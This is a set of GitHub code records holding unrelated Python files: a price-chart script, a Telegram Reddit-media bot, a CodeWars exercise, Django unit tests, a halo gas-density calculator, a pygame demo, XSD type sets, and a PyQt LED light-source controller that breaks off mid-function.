diff_product_price<%s'\ndiff_price_minus = get_query(sql, cursor, -1)\n\nprice_info = (diff_price_zero, real_price_no, diff_price_plus, diff_price_minus)\nfig, ax = plt.subplots()\n\nindex = np.arange(n_groups)\nbar_width = 0.35\nopacity = 0.4\nerror_config = {'ecolor': '0.3'}\n\nrects1 = plt.bar(index, price_info, bar_width,\n alpha=opacity,\n color='b',\n # yerr=std_men,\n error_kw=error_config,\n label='price_0526')\n\nplt.xlabel('price_group')\nplt.ylabel('number of product')\nplt.title('product price info')\n\nx_axis = ('no_fluctuation : {} '.format(diff_price_zero),\n 'no_price : {} '.format(real_price_no),\n 'plus_fluctuation : {} '.format(diff_price_plus),\n 'minus_fluctuation : {} '.format(diff_price_minus))\n\n# 왼쪽부터 가격변동이 없는 제품의 수, 현재 가격이 표시 되어있지않은 제품의 수, 가격이 오른 제품의 수, 가격이 내려간 제품의 수\nplt.xticks(index + bar_width / 2,\n x_axis)\nplt.legend()\n\nplt.tight_layout()\nplt.show()\n\nconnection.close()","repo_name":"so3500/crawling","sub_path":"visual_1.py","file_name":"visual_1.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4145234083","text":"from telegram.ext import Updater, CommandHandler\nimport configparser\nimport traceback\nimport logging\nimport urllib.request, json\nimport io\n\n\n\n\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\n#Help for those who need it, not. LMAO\ndef help(update, context):\n context.bot.sendMessage(chat_id=update.effective_chat.id, text=\"Lappen\")\n\ndef start(update, context):\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"I'm a bot, please talk to me!\")\n\n\ndef check_share(url):\n split = url.split('/')\n if 'share' in split[-1]:\n split = split[:len(split)-1]\n new_url = \"\"\n for s in split:\n new_url += s + '/'\n return new_url\n else:\n return url\n\ndef media(update, context):\n input_str = str(context.args[0]).lower()\n input_str = check_share(input_str)\n ijson = input_str + '.json'\n req = urllib.request.Request(ijson, headers = {\n 'User-agent': 'reddittomedia'\n })\n\n try:\n with urllib.request.urlopen(req) as response:\n data = json.loads(response.read().decode())\n if data[0]['data']['children'][0]['data']['is_video']:\n img_url = data[0]['data']['children'][0]['data']['media']['reddit_video']['fallback_url']\n context.bot.sendVideo(chat_id=update.effective_chat.id, video=img_url)\n else:\n img_url = data[0]['data']['children'][0]['data']['url']\n\n split = img_url.split('.') # splits url to find filetype\n\n if split[-1] == 'png' or split[-1] == 'jpg':\n context.bot.sendPhoto(chat_id=update.effective_chat.id, photo=img_url)\n print(\"image\\n\" + img_url)\n else: \n context.bot.sendVideo(chat_id=update.effective_chat.id, video=img_url) \n print(\"video\\n\"+img_url)\n except Exception:\n print(traceback.print_exc())\n print(\"server overlaod\")\n\n\n\ndef main():\n config = configparser.ConfigParser()\n config.read('config.ini')\n updater = Updater(token=config['TOKEN']['Token'], use_context=True)\n dispatcher = updater.dispatcher\n \n \n dispatcher.add_handler(CommandHandler(\"start\", start))\n dispatcher.add_handler(CommandHandler(\"help\", help))\n dispatcher.add_handler(CommandHandler('media', media))\n #Start the Bot\n updater.start_polling()\n updater.idle()\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"8-prime/reddittomediabot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42137457312","text":"def likes(names):\n if len(names) == 0:\n return \"no one likes this\"\n elif len(names) == 1:\n return names[0] + \" likes this\"\n elif len(names) <= 3:\n result = ''\n for name in names:\n if names.index(name) == len(names) - 1:\n result += 'and ' + name\n elif names.index(name) == len(names) -2:\n result += name + ' '\n else:\n result += name + ', '\n return result + \" likes this\"\n else:\n result = ''\n for name in names[:2]:\n if names.index(names) < 1:\n result += name + \", \"\n else:\n result += name\n\n\n return result\n\nnames = ['Peter', 'John', 'Bob', 'Zoho', 'Zulu']\nprint(likes(names))","repo_name":"EuganeLebedev/Python_for_test","sub_path":"CodeWars/Who likes it.py","file_name":"Who likes it.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6745872280","text":"from unittest import TestCase\n\nfrom knowledgebase.management.commands.csv_transforms.resource import *\n\n\nclass ResourceTransformsTest(TestCase):\n def setUp(self):\n self.maxDiff = None\n self.page = '58'\n self.resource_url = 'https://fake-url.com'\n self.title = 'LETTER TO THE PEOPLE, HON. BACON PANCAKE, 1909'\n self.subtitle = 'Proceedings of a Conference'\n self.text = (\n 'This resource is on page %s of %s, '\n 'an electronic text contained in the APA '\n 'Library E-book Collection. This text is '\n 'available to APA members as a benefit of '\n 'membership.' %(self.page, self.subtitle,)\n )\n self.year = '1909'\n self.author = 'Pancake, Bacon'\n\n self.row_dict = {\n 'Year': self.year,\n 'Volume': self.subtitle,\n 'Author': self.author,\n 'Title': self.title,\n 'Starting Page': self.page,\n 'Link': self.resource_url\n }\n\n\n self.partial_long_title = (\n 'National Proceedings of the Earth, Wind, and Fire Institute, '\n 'Given at the Lunch of Bea Arthur on the Occassion of her 200th '\n 'Birthday, Hon. Bacon Pancake Reciting a Pledge to Love The Golden'\n )\n self.long_title = self.partial_long_title + ' Girls for All Eternity'\n\n # self.updated_dict = Command().transform_row(row_dict)\n\n def test_maps_link_to_model_key(self):\n updated_dict = add_resource_url(self.row_dict)\n self.assertNotIn('Link', updated_dict.keys())\n self.assertEqual(self.resource_url, updated_dict['resource_url'])\n\n def test_maps_title_to_model_key(self):\n updated_dict = add_title(self.row_dict)\n self.assertNotIn('Title', updated_dict.keys())\n self.assertEqual('{} (p. {})'.format(self.title, self.page), updated_dict['title'])\n\n def test_truncates_long_title_with_page(self):\n row_dict = {\n 'Year': self.year,\n 'Volume': self.subtitle,\n 'Author': self.author,\n 'Title': self.long_title,\n 'Starting Page': self.page,\n 'Link': self.resource_url\n }\n updated_dict = add_title(row_dict)\n expected = self.partial_long_title + '... (p. 58)'\n self.assertNotIn('Title', updated_dict.keys())\n self.assertEqual(expected, updated_dict['title'])\n\n def test_truncates_long_title_without_page(self):\n row_dict = {\n 'Year': self.year,\n 'Volume': self.subtitle,\n 'Author': self.author,\n 'Title': self.long_title,\n 'Starting Page': '',\n 'Link': self.resource_url\n }\n updated_dict = add_title(row_dict)\n expected = self.partial_long_title + ' Girls...'\n self.assertNotIn('Title', updated_dict.keys())\n self.assertEqual(expected, updated_dict['title'])\n\n\n def test_maps_volume_to_model_key(self):\n updated_dict = add_subtitle(self.row_dict)\n self.assertNotIn('Volume', updated_dict.keys())\n self.assertEqual(self.subtitle, updated_dict['subtitle'])\n\n def test_transform_and_map_page_and_volume_to_model_key(self):\n updated_dict = add_text(self.row_dict)\n self.assertNotIn('Starting Page', updated_dict.keys())\n self.assertEqual(self.text, updated_dict['text'])\n self.assertEqual(self.text, updated_dict['description'])\n\n def test_removes_year_from_row_data(self):\n updated_dict = remove_year(self.row_dict)\n self.assertNotIn('Year', updated_dict.keys())\n","repo_name":"furmanczyk5/Django-Enterprise-App","sub_path":"knowledgebase/tests/commands/test_resource.py","file_name":"test_resource.py","file_ext":"py","file_size_in_byte":3607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"36138340199","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function, division\nimport numpy as np\nfrom scipy import integrate, interpolate, optimize\nimport matplotlib\nfrom sys import version_info\nimport os\nimport multiprocessing\nimport signal\nimport time\nimport argparse\n\nif version_info.major < 3:\n from itertools import repeat, izip\nelse:\n from itertools import repeat\n\n###############################################################\n## Constants used at some point (all converted to cgs units) ##\n###############################################################\n\nh = 0.673 # H_0 = 100h km/s/Mpc\nsolmass = 1.990e30 # kg\nsolmass *= 1000 # --> g\nmu = 0.6\nmp = 1.673e-27 # kg\nmp *= 1000 # --> g\nG = 6.674e-11 # m^3/(kg s^2)\nG *= 1000 # --> cm^3/(g s^2)\nkB = 1.381e-23 # J/K\nkB *= 1e7 # --> erg/K\n\ncm_to_pc = (3e10 * 86400 * 365 * 3.26)\ncm_to_kpc = cm_to_pc * 1000\n\nrhocrit = 3 * (100 * h * 1e5 / (cm_to_pc * 1e6))**2 / (8 * np.pi * G)\n\n####################\n## T-n_H relation ##\n####################\n\ndef rho(lognh):\n \"\"\"\n Convert log10(number density) to physical density in g cm^-3\n \"\"\"\n return 10**lognh * mp\n\nclass DensityTempRelation:\n \"\"\"\n Encapsulates a density-temperature relation obtained from a text file containing a list of paired log(n_H), log(T) values.\n Loads the data and constructs an interpolation T(n_H) and its derivative dT/dn_H\n \"\"\"\n\n def __init__(self, model_str):\n \"\"\"\n Construct a density-temperature relation.\n \n model_str: String containing the name of the data file to load. The path searched is 'data/nH_T_' + model_str + '.dat'\n \"\"\"\n try:\n log_nH, log_T = np.loadtxt('data/nH_T_{:s}.dat'.format(model_str.lower()), unpack=True)\n except IOError:\n print('{:s} density-temperature relation data not found\\nAborting...'.format(model_str))\n exit(1)\n else:\n print('Loading {:s} density-temperature parameter relation data'.format(model_str.title()))\n self.__logTfunc = interpolate.UnivariateSpline(log_nH, log_T, s=0.001, k=3)\n self.__dlogTfunc = self.__logTfunc.derivative()\n\n def T(self, lognh):\n \"\"\"\n Return the temperature for a given log10(number density)\n \"\"\"\n return 10**self.__logTfunc(lognh)\n\n def dT_drho(self, lognh):\n \"\"\"\n Return the derivative of temperature wrt number density for a given log10(number density)\n \"\"\"\n return (self.T(lognh) / rho(lognh)) * self.__dlogTfunc(lognh)\n\n# Global variable to hold the density-temperature relation object.\n# Defined now so that it is visible to functions which need to use it.\nT_rel = None\n\n################\n## F function ##\n################\n\n# Only consider densities above the mean background density\nlog_mean_nh = -6.7\n\ndef F_integrand(lognh):\n \"\"\"\n Compute the value of T/rho + dT/drho for a given log10(number density).\n \"\"\"\n log_int = T_rel.T(lognh) / rho(lognh) + T_rel.dT_drho(lognh)\n # The integral is computed in log(nH) space\n # so a conversion back into rho space is required\n # 2.303 = ln(10)\n return log_int * 10**lognh * mp * 2.303\n\ndef Ff(lognh):\n \"\"\"\n Numerically integrate the F_integrand function, with lower limit given by the mean background density.\n\n lognh: The upper limit of integration.\n \"\"\"\n return integrate.quad(F_integrand, log_mean_nh, lognh)[0]\n\n#######################\n## Virial quantities ##\n#######################\n\ndef Rvir(Mvir):\n \"\"\"\n Calculate the virial radius for a given virial mass.\n\n Mvir: The virial mass in units of solar masses.\n\n Returns: The virial radius in centimetres.\n \"\"\"\n return ((Mvir * solmass / (200 * rhocrit)) * (3 / (4 * np.pi)))**(1/3)\n\ndef Tvir(Mvir):\n \"\"\"\n Calculate the virial temperature for a given virial mass.\n\n Mvir: The virial mass in units of solar masses.\n\n Returns: The virial temperature in Kelvin.\n \"\"\"\n return (mu * mp / (2 * kB)) * (G * Mvir * solmass) / Rvir(Mvir)\n\n################\n## G function ##\n################\n\ndef Gf(rtw, c, Mvir):\n \"\"\"\n Calculate G(r)=-2*Tvir*a(r), where a(r) is the acceleration profile.\n\n rtw: The dimensionless radial coordinate r/Rvir.\n c: The concentration parameter of the halo.\n Mvir: The virial mass of the halo.\n \"\"\"\n x = rtw * c\n return -2 * Tvir(Mvir) * -np.log(1 + x) / (rtw * (np.log(1 + c) - c / (1 + c)))\n\n##############################\n## Concentration parameters ##\n##############################\n\nclass MassConcentrationRelation:\n \"\"\"\n Encapsulates a virial mass-concentration parameter relation obtained from a text file containing a list of paired Mvir, c values.\n Loads the data and constructs an interpolation c(Mvir)\n \"\"\"\n\n def __init__(self, model_str):\n \"\"\"\n Construct a mass-concentration relation.\n \n model_str: String containing the name of the data file to load. The path searched is 'data/Mvir_c_' + model_str + '.dat'\n \"\"\"\n try:\n ms, cs = np.loadtxt('data/Mvir_c_{:s}.dat'.format(model_str.title()), unpack=True)\n except IOError:\n print('{:s} mass-concentration parameter relation data not found\\nAborting...'.format(model_str))\n exit(1)\n else:\n print('Loading {:s} mass-concentration parameter relation data'.format(model_str.title()))\n self.__interp = interpolate.interp1d(ms, cs)\n\n def cparam(self, Mvir):\n \"\"\"\n Return the concentration parameter for a given virial mass.\n \"\"\"\n return self.__interp(Mvir)\n\n#########################\n## rho_gas calculation ##\n#########################\n\nclass Py2StarHelper:\n \"\"\"\n Utility class to unpack a tuple of arguments.\n Used to emulate the `starmap` function from Python 3 if the code is run with Python 2.\n \"\"\"\n \n def __init__(self, func):\n self.f = func\n def __call__(self, packed_args):\n return self.f(*packed_args)\n\ndef kernel(rtw, c, Mvir):\n \"\"\"\n Calculate the density rho which solves to the expression F(rho) - G(r).\n \n rtw: The dimensionless radial coordinate r/Rvir.\n c: The concentration parameter of the halo.\n Mvir: The virial mass of the halo.\n\n Returns: The density which solves the expression above for the given parameters\n \"\"\"\n rhs = Gf(rtw, c, Mvir)\n cond = lambda lognh: np.abs(Ff(lognh) - rhs) \n #return 10**optimize.brute(cond, ((log_mean_nh, 0),))[0] * mp\n return 10**optimize.minimize_scalar(cond, bounds=(log_mean_nh, 0), method='bounded').x * mp\n\nif version_info.major < 3:\n py2_kernel = Py2StarHelper(kernel)\n\ndef rho_gas(rtws, c, Mvir):\n \"\"\"\n Calculate the gas density profile for a particular DM halo.\n\n rtws: The dimensionless radial coordinates r/Rvir at which to calculate densities. May be a numpy array or a single value.\n c: The concentration parameter of the halo.\n Mvir: The virial mass of the halo.\n\n Returns: A numpy array of densities if an array of radii were provided; a single density otherwise.\n \"\"\"\n if isinstance(rtws, np.ndarray):\n print('Starting calculations for M={:.3g}, c={:.3g} with {} workers'.format(Mvir, c, N_CPUS))\n start_time = time.time()\n sigint_handler = signal.signal(signal.SIGINT, signal.SIG_IGN) # This stops Ctrl-C breaking while multiple processes are running\n worker_pool = multiprocessing.Pool(N_CPUS)\n signal.signal(signal.SIGINT, sigint_handler)\n try:\n if version_info.major < 3:\n rhos = worker_pool.map_async(py2_kernel, izip(rtws, repeat(c), repeat(Mvir)), chunksize=10)\n else:\n rhos = worker_pool.starmap_async(kernel, zip(rtws, repeat(c), repeat(Mvir)), chunksize=10)\n rhos = rhos.get(timeout=600)\n except KeyboardInterrupt:\n print('Aborting...')\n worker_pool.terminate()\n exit(0)\n else:\n print('Completed in {:.1f}s'.format(time.time() - start_time))\n worker_pool.close()\n worker_pool.join()\n else: # calculate for a single radius\n rhos = kernel(rtws, c, Mvir)\n return rhos\n\n###########################\n## Gas mass calculations ##\n###########################\n\ndef M_gas(rads, rhos):\n \"\"\"\n Calculate the total gas mass given a radial density profile.\n\n rads: Array of radius coordinates in physical units.\n rhos: Array of density values, at each radius in rads, in physical units.\n\n Returns: Total gas mass in solar masses.\n \"\"\"\n if len(rads):\n return 4 * np.pi * integrate.simps(rads**2 * rhos, rads) / solmass\n else:\n return 0\n\n##################\n## Main program ##\n##################\n\nif __name__ == \"__main__\":\n\n AVAIL_CPUS = multiprocessing.cpu_count()\n \n parser = argparse.ArgumentParser()\n parser.add_argument('-c' , '--mass-conc-rel', dest='conc', required='true', type=str, help='The mass-concentration relation to use. Either \"eagle\" or \"prada\"')\n parser.add_argument('-t' , '--nH-temp-rel', dest='nHT', required='true', type=str, help='The hydrogen density-temperature relation to use. Either \"relhic\" or \"sphcloudy\"')\n parser.add_argument('-f', '--force-recalc', dest='force', action='store_true', help='Regenerate density profiles even if data is already found')\n parser.add_argument('-p', '--plot', dest='plot', action='store_true', help='Produce a plot of the gas density profiles when calculations are complete')\n parser.add_argument('-i', '--interactive', dest='iplot', action='store_true', help='Display the plot in an onscreen window, rather than saving it to pdf')\n parser.add_argument('-n', '--num-cpus', dest='ncpus', default=AVAIL_CPUS-1, type=int, help='The number of cores to use for calculations. If not provided, all but one of available cores will be used')\n args = parser.parse_args()\n\n if not args.iplot:\n matplotlib.use('pdf')\n\n # only now can we load the rest of matplotlib\n from matplotlib import pyplot as plt, rc, cm, ticker\n \n matplotlib.rc('font', size=18)\n\n fname_ext = '.dat'\n fname_base = 'output/rhos_gas'+ '_{:s}_{:s}'.format(args.conc.lower(), args.nHT.lower())\n fname_rho = fname_base + fname_ext\n fname_M = fname_base + '_masses' + fname_ext\n fname_Rv = fname_base + '_Rvirs' + fname_ext\n found_data = os.path.isfile(fname_rho)\n\n if args.force:\n found_data = False\n\n N_CPUS = args.ncpus if args.ncpus > 0 else AVAIL_CPUS\n\n# if not found_data:\n# prompt = raw_input('Failed to load data, generate? ')\n# if prompt not in set(['yes', 'y', 'Yes']):\n# print('Aborting...')\n# exit(0)\n# else:\n# prompt = raw_input('Number of processes (default = {}) '.format(N_CPUS))\n# if prompt is not '':\n# try:\n# N_CPUS = int(prompt)\n# except:\n# print('Aborting...')\n# exit(1)\n \n if found_data:\n if not args.plot:\n print('Nothing to do, exiting.')\n exit(0)\n \n masses = np.loadtxt(fname_M)\n nhaloes = len(masses)\n rtws, rhos_gas, _ = np.hsplit(np.loadtxt(fname_rho), [1, 1 + nhaloes]) # ignore temperatures for now\n R200s = np.loadtxt(fname_Rv).flatten()\n rtws = rtws.flatten()\n rhos_gas = rhos_gas.T\n else:\n #############\n ## EDIT ME ##\n #############\n masses = np.logspace(8, 9.65, 21) # in M_sun\n rtws = np.geomspace(1e-4, 100, 1000)\n R200s = Rvir(masses)\n\n c_rel = MassConcentrationRelation(args.conc)\n concentrations = c_rel.cparam(masses)\n\n T_rel = DensityTempRelation(args.nHT)\n\n ##################\n ## Calculations ##\n ##################\n\n if not found_data:\n print('Calculating for {} radius values in range ({}, {})'.format(len(rtws), rtws.min(), rtws.max()))\n all_start_time = time.time()\n rhos_gas = np.array([rho_gas(rtws, cp, M200) for M200, cp\n in zip(masses, concentrations)])\n print('Completed all calculations in {:.1f}s'.format(time.time() - all_start_time))\n np.savetxt(fname_rho, np.column_stack((rtws, rhos_gas.T, T_rel.T(np.log10(rhos_gas / mp)).T)))\n np.savetxt(fname_M, masses)\n np.savetxt(fname_Rv, R200s)\n\n ###########\n ## Plots ##\n ###########\n \n if args.plot:\n # densities at virial radii\n rhos_R200 = np.array([rho_gas(1, c, Mvir) for c, Mvir in zip(concentrations, masses)])\n\n # densities at radii where Mgas == Mvir * fbar\n fbar = 0.167 # universal baryon fraction omega_b / omega_M\n mass_targets = fbar * masses\n\n Rbars = np.empty_like(masses)\n rhos_Rbar = np.empty_like(masses)\n\n for idx, mt in enumerate(mass_targets):\n loc = np.argmin([np.abs(mt - M_gas(rtws[:trial_loc] * R200s[idx], rhos_gas[idx][:trial_loc])) for trial_loc in range(len(rtws))])\n Rbars[idx] = rtws[loc] * R200s[idx]\n rhos_Rbar[idx] = rhos_gas[idx][loc]\n\n rtws_within_r200 = rtws[rtws <= 1]\n gas_masses = [M_gas(rtws_within_r200 * rv, rg[rtws <= 1]) for rg, rv in zip(rhos_gas, R200s)]\n \n colourvals = np.linspace(0., 1., len(rhos_gas))\n colours = [cm.rainbow(x) for x in colourvals]\n sm = cm.ScalarMappable(cmap=cm.rainbow)\n sm.set_array(np.log10(gas_masses))\n\n fig, (axm, axcb) = plt.subplots(1, 2, figsize=(13,12), gridspec_kw = {'width_ratios':[12, 1]})\n fig.suptitle('Gas density profiles for {}/{} haloes'.format(args.conc.title(), args.nHT.title()))\n axm.set_xlim(-0.5, 2.5)\n axm.set_ylim(-7, -0.5)\n axm.set_xlabel(r'$\\log_{10}(r/\\mathrm{kpc})$')\n axm.set_ylabel(r'$\\log_{10}(n_H/\\mathrm{cm^{-3}})$')\n for idx, rg in enumerate(rhos_gas):\n kpc_rads = rtws * R200s[idx] / cm_to_kpc\n axm.plot(np.log10(kpc_rads), np.log10(rg / mp), color=colours[idx]) \n # plot virial radii\n axm.plot(np.log10(R200s / cm_to_kpc), np.log10(rhos_R200 / mp), '--', c='k')\n axm.text(1.15, -5.75, r'$r_{200}$', rotation=50)\n # plot fbar * M200 radii\n axm.plot(np.log10(Rbars / cm_to_kpc), np.log10(rhos_Rbar / mp), '--', c='k')\n axm.text(2.0, -6.2, r'$r_\\mathrm{bar}$', rotation=60)\n # plot mean nH\n axm.axhline(log_mean_nh, c='k', ls='--')\n axm.text(-.25, -6.6, r'$\\bar{n}_H$')\n # plot colourbar\n axcb.yaxis.tick_right()\n axcb.yaxis.set_label_position('right')\n axcb.set_ylabel(r'$\\log_{10}(M_\\mathrm{gas}/M_\\odot)$')\n axcb.xaxis.set_major_locator(ticker.NullLocator())\n axcb.xaxis.set_major_formatter(ticker.NullFormatter())\n for idx, mg in enumerate(gas_masses):\n axcb.axhline(np.log10(mg), c=colours[idx])\n if args.iplot:\n plt.show()\n else:\n plt.savefig(fname_base + '.pdf', bbox_inches='tight')\n","repo_name":"calvin-sykes/mmas-project","sub_path":"jupyter-playground/rhogas.py","file_name":"rhogas.py","file_ext":"py","file_size_in_byte":14998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6468681308","text":"import pygame as p\r\n\r\np.init( )\r\n\r\nw = (255,255,255)\r\nr = (255,0,0)\r\n\r\n#이미지 삽입\r\ni = p.image.load(\"e.png\")\r\no = p.image.load(\"w.png\")\r\nh = p.image.load(\"q.png\")\r\n\r\np.mixer.music.load(\"ms.mp3\")\r\np.mixer.music.play(0)\r\n\r\n\r\nsize = (400,400)\r\nsc = p.display.set_mode(size)\r\np.display.set_caption(\"zzz\")\r\n\r\ndone = False\r\n\r\nwhile not done:\r\n\r\n for event in p.event.get():\r\n if event.type == p.QUIT:\r\n done = True\r\n\r\n\r\n sc.fill(w)\r\n\r\n sc.blit(i,(10,10))\r\n sc.blit(h,(10,150))\r\n sc.blit(o,(15,290))\r\n \r\n p.display.flip()\r\n","repo_name":"Toring777/Python","sub_path":"박주혁게임/20200516(dlalwl tkqdlq ).py","file_name":"20200516(dlalwl tkqdlq ).py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40081460557","text":"#! /usr/bin/env python\n\nfrom rdf.namespaces import XSD\n\n\nXSD_DATEFRAG = {XSD + 'gDay',\n XSD + 'gMonth',\n XSD + 'gMonthDay'}\n\nXSD_DATETIME = {XSD + 'date',\n XSD + 'dateTime',\n XSD + 'dateTimeStamp',\n XSD + 'gYear',\n XSD + 'gYearMonth'}\n\nXSD_NUMERIC = {XSD + 'decimal',\n XSD + 'double',\n XSD + 'float',\n XSD + 'long',\n XSD + 'int',\n XSD + 'short',\n XSD + 'byte',\n XSD + 'integer',\n XSD + 'nonNegativeInteger',\n XSD + 'nonPositiveInteger',\n XSD + 'negativeInteger',\n XSD + 'positiveInteger',\n XSD + 'unsignedLong',\n XSD + 'unsignedInt',\n XSD + 'unsignedShort',\n XSD + 'unsignedByte'}\n\nXSD_STRING = {XSD + 'string',\n XSD + 'normalizedString',\n XSD + 'token',\n XSD + 'language',\n XSD + 'Name',\n XSD + 'NCName',\n XSD + 'ENTITY',\n XSD + 'ID',\n XSD + 'IDREF',\n XSD + 'NMTOKEN',\n XSD + 'anyURI'}\n","repo_name":"wxwilcke/hypodisc","sub_path":"hypodisc/multimodal/datatypes.py","file_name":"datatypes.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27566208663","text":"############################################################################################\n# QT Light Source Helper Class\n############################################################################################\n# Interface to Blackfly LED camera sync program\n# https://github.com/uutzinger/blackflysync\n# ------------------------------------------------------------------------------------------\n# Urs Utzinger\n# University of Arizona 2022\n# ------------------------------------------------------------------------------------------\n# July 2022: initial work\n############################################################################################\n\nfrom PyQt5.QtCore import QObject, QTimer, QThread, pyqtSignal, pyqtSlot, QSignalMapper\nfrom PyQt5.QtWidgets import QLineEdit, QSlider, QCheckBox, QLabel\n\nfrom parse import parse\nimport logging, time\n\nNUM_LEDS = 13\n\nclass QLightSource(QObject):\n \"\"\"\n Light SourceInterface for QT\n \n Enable/Disable LEDs\n Turn on//off LEDs manually\n LED intensity adjustment\n Read and store LED settings\n Push settings to User Interface\n \"\"\"\n\n sendTextRequest = pyqtSignal(str) # request to transmit text to TX\n sendLinesRequest = pyqtSignal(list) # request to transmit lines of text to TX\n startReceiverRequest = pyqtSignal() # start serial receiver, expecting text\n connectLightSourceRequest = pyqtSignal() # receive serial input\n disconnectLightSourceRequest = pyqtSignal() # stop receiving serial input\n \n def __init__(self, parent=None, ui=None):\n # super().__init__()\n super(QLightSource, self).__init__(parent)\n\n self.logger = logging.getLogger(\"LigthS_\") \n \n if ui is None:\n self.logger.log(logging.ERROR, \"[{}]: need to have access to User Interface\".format(int(QThread.currentThreadId())))\n self.ui = ui\n \n ####################################################################################\n # setup user interface connections and limits\n \n self.logger.log(logging.INFO, \"[{}]: initialized.\".format(int(QThread.currentThreadId())))\n \n ########################################################################################\n # Functions internal\n\n def _setChannelIntensity(self, channel, intensity):\n lines = [ \"s{}\".format(channel-1),\n \"d{}\".format(intensity),\n \"S{}\".format(channel-1)\n ]\n self.sendLinesRequest.emit(lines)\n self.startReceiverRequest.emit()\n self.logger.log(logging.DEBUG, \"[{}]: channel {} intensity {}\".format(int(QThread.currentThreadId()),channel,intensity))\n\n def _manualTurnOnChannel(self,channel):\n lines = [ \"a\", \n \"Z\",\n \"s{}\".format(channel-1),\n \"M\"\n ]\n self.sendLinesRequest.emit(lines)\n self.startReceiverRequest.emit()\n self.logger.log(logging.DEBUG, \"[{}]: turned on channel {}\".format(int(QThread.currentThreadId()),channel))\n\n def _manualTurnOffChannel(self, channel):\n lines = [ \"a\", \n \"s{}\".format(channel-1),\n \"m\"\n ]\n self.sendLinesRequest.emit(lines)\n self.startReceiverRequest.emit()\n self.logger.log(logging.DEBUG, \"[{}]: turned off channel {}\".format(int(QThread.currentThreadId()),channel))\n\n ########################################################################################\n # Function slots\n\n @pyqtSlot()\n def setAutoAdvanceOn(self):\n self.sendTextRequest.emit(\"A\") # turn on auto advance\n self.startReceiverRequest.emit() # get response\n self.logger.log(logging.DEBUG, \"[{}]: autoadvance enabled\".format(int(QThread.currentThreadId())))\n\n @pyqtSlot()\n def setAutoAdvanceOff(self):\n self.sendTextRequest.emit(\"a\") # turn off auto advance\n self.startReceiverRequest.emit() # get response\n self.logger.log(logging.DEBUG, \"[{}]: autoadvance disabled\".format(int(QThread.currentThreadId())))\n \n\n @pyqtSlot()\n def storeChannelSettings(self):\n self.sendTextRequest.emit(\"E\") # save settings in lightsource to EEPROM\n self.startReceiverRequest.emit() # get response\n self.logger.log(logging.DEBUG, \"[{}]: channel settings stored in EEPROM\".format(int(QThread.currentThreadId())))\n\n @pyqtSlot()\n def loadChannelSettings(self):\n lines = [ \"e\", \n \"x\"\n ]\n self.connectLightSourceRequest.emit()\n self.sendLinesRequest.emit(lines)\n self.startReceiverRequest.emit()\n self.logger.log(logging.DEBUG, \"[{}]: channel settings loaded from EEPROM\".format(int(QThread.currentThreadId())))\n\n @pyqtSlot()\n def queryChannelSettings(self):\n self.connectLightSourceRequest.emit()\n self.sendTextRequest.emit(\"x\") # query current settings\n self.startReceiverRequest.emit()\n self.logger.log(logging.DEBUG, \"[{}]: channel settings loaded from EEPROM\".format(int(QThread.currentThreadId())))\n \n @pyqtSlot()\n def turnOffAllChannels(self):\n self.sendTextRequest.emit(\"Z\") # turn off all channels\n self.logger.log(logging.DEBUG, \"[{}]: turned off all channels.\".format(int(QThread.currentThreadId())))\n\n ########################################################################################\n # Turn On Channels Manually\n # LEDs remain on until push button is pressed again (latch)\n\n @pyqtSlot()\n def on_pushButton_TurnOnChannel(self):\n sender = self.sender()\n isChecked = sender.isChecked()\n senderName = sender.objectName()\n channel = int(parse(\"pushButton_TurnOnChannel{}\", senderName)[0])\n if channel >= 1 and channel <=NUM_LEDS:\n if isChecked: \n self._manualTurnOnChannel(channel)\n sender.setText(\"On\")\n else: \n self._manualTurnOffChannel(channel)\n sender.setText(\"Off\")\n self.logger.log(logging.DEBUG, \"[{}]: pushed channel {} manual button {}\".format(int(QThread.currentThreadId()), channel, isChecked))\n else:\n self.logger.log(logging.DEBUG, \"[{}]: not valid channel {}\".format(int(QThread.currentThreadId()), channel))\n \n ########################################################################################\n # Enable Channels in the Measurement Sequence\n\n @pyqtSlot()\n def on_enableChannel(self):\n sender = self.sender()\n isChecked = sender.isChecked()\n senderName = sender.objectName()\n channel = int(parse(\"checkBox_MeasureChannel{}\", senderName)[0])\n if channel >= 1 and channel <= NUM_LEDS:\n if isChecked: \n self.sendTextRequest.emit(\"M{}\".format(channel-1)) # enable channel\n else: \n self.sendTextRequest.emit(\"m{}\".format(channel-1)) # disable channel\n self.startReceiverRequest.emit() \n self.logger.log(logging.DEBUG, \"[{}]: channel {} is measured: {}\".format(int(QThread.currentThreadId()), channel, isChecked))\n else:\n self.logger.log(logging.DEBUG, \"[{}]: not valid channel {}\".format(int(QThread.currentThreadId()), channel))\n \n ########################################################################################\n # Request channel information and update user interface\n \n @pyqtSlot(list)\n def on_ChannelSettings(self, lines):\n \"\"\" Channel settings from light source are available \"\"\"\n self.logger.log(logging.DEBUG, \"[{}]: channel settings received.\".format(int(QThread.currentThreadId())))\n for text in lines:\n self.logger.log(logging.DEBUG, \"[{}]: {}\".format(int(QThread.currentThreadId()),text))\n # scan text for settings\n # \"Channel: %2d pin: %2d %s %6.2f[%%] duty [%4d] Name: %s\\r\\n\" \n # text = \"Channel: 0 pin: 2 On 97.00[%] duty [ 61] Name: 365\"\n # text = \"Channel: 1 pin: 3 On 3.21[%] duty [1981] Name: 460\"\n # text = \"Channel: 2 pin: 4 On 11.62[%] duty [1809] Name: 525\"\n r = 